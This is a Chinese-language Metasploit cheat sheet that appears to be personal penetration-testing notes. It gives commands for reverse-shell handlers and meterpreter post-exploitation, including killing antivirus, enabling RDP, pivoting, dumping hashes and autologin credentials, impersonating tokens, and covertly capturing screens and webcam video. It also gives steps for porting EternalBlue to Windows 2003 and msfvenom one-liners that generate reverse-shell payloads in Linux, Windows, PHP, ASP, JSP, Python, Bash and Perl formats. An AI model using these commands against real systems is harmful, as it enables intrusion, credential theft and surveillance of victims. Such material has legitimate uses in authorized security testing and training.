msf下的命令
set session x:設置要攻擊的session #監聽端口反彈PHP shell use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST set LPORT run #end #windows/shell_reverse_tcp模塊可創建具有meterpreter功能的各版本shellcode,比如Asp、Aspx、msi、vbs、war #使用windows/shell_reverse_tcp反彈shell show payloads use windows/shell_reverse_tcp set LHOST set LPORT save generate -h #查看具體命令 generate -t asp #生成asp的shellcode #監聽 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST set LPORT run #將shell上傳后訪問 #end
meterpreter下的命令
ps:獲取目標機正在運行的進程 getpid:查看meterpreter shell的進程號 migrate 448:把meterpreter shell移動到PID為448的進程中 kill 984:殺掉PID為984的進程 run post/windows/manage/migrate:自動尋找合適的進程遷移 sysinfo:查看目標系統信息 run post/windows/gather/checkvm:檢查目標是否運行在虛擬機上 idletime:查看目標機最近的運行時間 route:目標機完整的網絡設置 getuid:查看當前用戶名 background:將當前會話放到后台(適合在多個meterpreter會話的場景下使用) run post/windows/manage/killav:關閉目標機系統殺毒軟件 run post/windows/manage/enable_rdp:開啟目標機3389端口 run post/windows/manage/autoroute:查看目標機的本地子網情況 background->route add xxx xxx(添加路由)->route print(查看路由) ↑[路由添加到已攻陷的主機的路由表中,就可以借助被攻陷的主機對其他網絡進行攻擊] run post/windows/gather/enum_logged_on_users:列舉當前有多少用戶登錄了目標機 run post/windows/gather/enum_applications:列舉安裝在目標機上的應用程序 run windows/gather/credentials/windows_autologin:抓取自動登錄的用戶名和密碼 load espia(加載espia插件)->screengrab(抓取目標機的屏幕截圖) screengrab(也可直接使用screengrab命令抓取目標機的屏幕截圖) webcam_list:查看目標機是否有攝像頭 webcam_snap:打開目標機攝像頭拍一張照片 webcam_stream:抓取目標機視頻 shell:進入目標機shell exit:停止meterpreter會話 pwd/getwd:查看當前處於目標機哪個目錄 getlwd:查看當前處於本地的那個目錄 ls:列出當前目錄的所有文件 cd:切換目錄 search -f *.txt -d c:\:搜索C盤中所有txt文件(-f指定搜索文件模式,-d指定目錄) download c:\test.txt /root:下載目標機c盤的test.txt文件到本機root下 upload /root/test.txt c:\:上傳本地root下test.txt文件到目標機c盤下 getsystem:提權 #假冒令牌↓ #有兩種類型令牌: #Delegation Tokens(授權令牌,支持交互式登錄,例如遠程桌面登錄) #Impersonation Tokens(模擬令牌,非交互式的會話) 在incognito下假冒 use incognito->list_tokens -u:列出可用的token impersonate_token xxxx\\system:假冒xxxx用戶進行攻擊(要用兩個\) #end hashdump:導出目標機的hash run windows/gather/smart_hashdump:導出域所有用戶的hash
移植並利用MS17-010(windows 2003)漏洞利用代碼
#MSF中MS17-010不支持windows 2003 git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit 將Eternalblue-Doublepulsar-Metasploit文件夾下的eternalblue-doublepulsar.rb復制到/usr/share/metasploit-framework/modules/exploits/windows/smb下 msfconsole->reload_all #在MSF下重新加載全部文件 search eternalblue-doublepulsar #現在就可以搜到該腳本了
利用msfvenom生成shell的命令
Linux: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf Windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe PHP: msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php ASP: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp JSP: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp Python: msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py Bash: msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh Perl: msfvenom -p cmd/unix/reverse _perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl